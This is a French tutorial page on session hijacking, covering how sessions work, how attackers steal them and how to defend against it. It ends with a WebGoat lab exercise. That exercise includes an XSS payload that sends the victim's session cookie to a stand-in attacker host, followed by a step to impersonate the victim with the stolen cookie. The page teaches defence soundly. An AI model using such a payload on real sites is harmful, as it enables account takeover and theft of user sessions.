Vol de session
Comprendre comment un attaquant peut voler une session utilisateur et comment s’en protéger
Notions théoriques
Le vol de session, aussi appelé session hijacking, est une attaque où un individu malveillant prend le contrôle de la session d’un utilisateur légitime.
Le vol de session permet à l’attaquant, sur un site Web, d’agir à la place de la victime.
L’attaquant peut ainsi :
- accéder à des informations sensibles,
- effectuer des transactions non autorisées
- ou compromettre la sécurité de l’application.
Qu’est-ce qu’une session ?
Une session est un mécanisme utilisé par les serveurs Web pour suivre l’état d’un utilisateur entre plusieurs requêtes HTTP. Comme HTTP est un protocole sans état, les sessions permettent de savoir si un utilisateur est connecté, ce qu’il a dans son panier, etc.
Les sessions sont souvent identifiées par un jeton de session (session ID) stocké :
- dans un cookie,
- dans l’URL (rare et risqué),
- ou dans le localStorage côté client.
Comment un attaquant peut-il voler une session ?
Voici les méthodes les plus courantes :
- Vol de cookie : si le cookie n’est pas sécurisé (pas en HTTPS ou pas en HttpOnly), un script malveillant peut le lire.
- XSS (Cross-Site Scripting) : une faille XSS permet à un attaquant d’injecter du JavaScript dans la page et de voler le cookie de session.
- Interception réseau : sur un réseau Wi-Fi non sécurisé, un attaquant peut intercepter les requêtes HTTP et récupérer les cookies.
- Session fixation : l’attaquant force l’utilisateur à utiliser un identifiant de session choisi à l’avance.
- Rejeu de session : l’attaquant réutilise un ancien jeton de session encore valide.
Conséquences du vol de session
- L’attaquant peut accéder à des informations personnelles,
- Il peut effectuer des actions à la place de l’utilisateur (achats, modifications de données, etc.),
- Il peut compromettre la sécurité globale du système.
Comment se protéger contre le vol de session ?
- Utiliser HTTPS partout pour chiffrer les communications.
- Configurer les cookies avec les attributs
Secure,HttpOnlyetSameSite. - Limiter la durée de vie des sessions.
- Changer l’ID de session après authentification.
- Détecter les comportements suspects (ex. : changement d’adresse IP).
- Empêcher les attaques XSS via l’échappement des entrées utilisateur.
- Utiliser des en-têtes de sécurité comme
Content-Security-Policy.
Exemple d’un cookie sécurisé
Set-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict
Ce cookie :
- n’est transmis qu’en HTTPS (
Secure), - n’est pas accessible en JavaScript (
HttpOnly), - n’est pas envoyé sur des sites tiers (
SameSite=Strict).
Exemple pratique
Il est possible de simuler une attaque de vol de session sur une application Web vulnérable à XSS.
Contexte
Une application Web simple en PHP affiche le nom de l’utilisateur connecté sans échapper les caractères HTML.
Cela permet à un attaquant d’injecter du JavaScript.
Étapes
-
Télécharger l’application vulnérable depuis :
https://github.com/Webgoat/WebGoat -
Lancer l’application localement avec Docker :
docker run -d -p 8080:8080 Webgoat/Webgoat -
Accéder à l’application sur http://localhost:8080/WebGoat
-
Naviguer vers le module "XSS" et injecter le code suivant :
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script> -
Observer que le cookie de session est envoyé à un serveur externe contrôlé par l’attaquant.
-
Utiliser ce cookie dans une nouvelle session pour se faire passer pour la victime.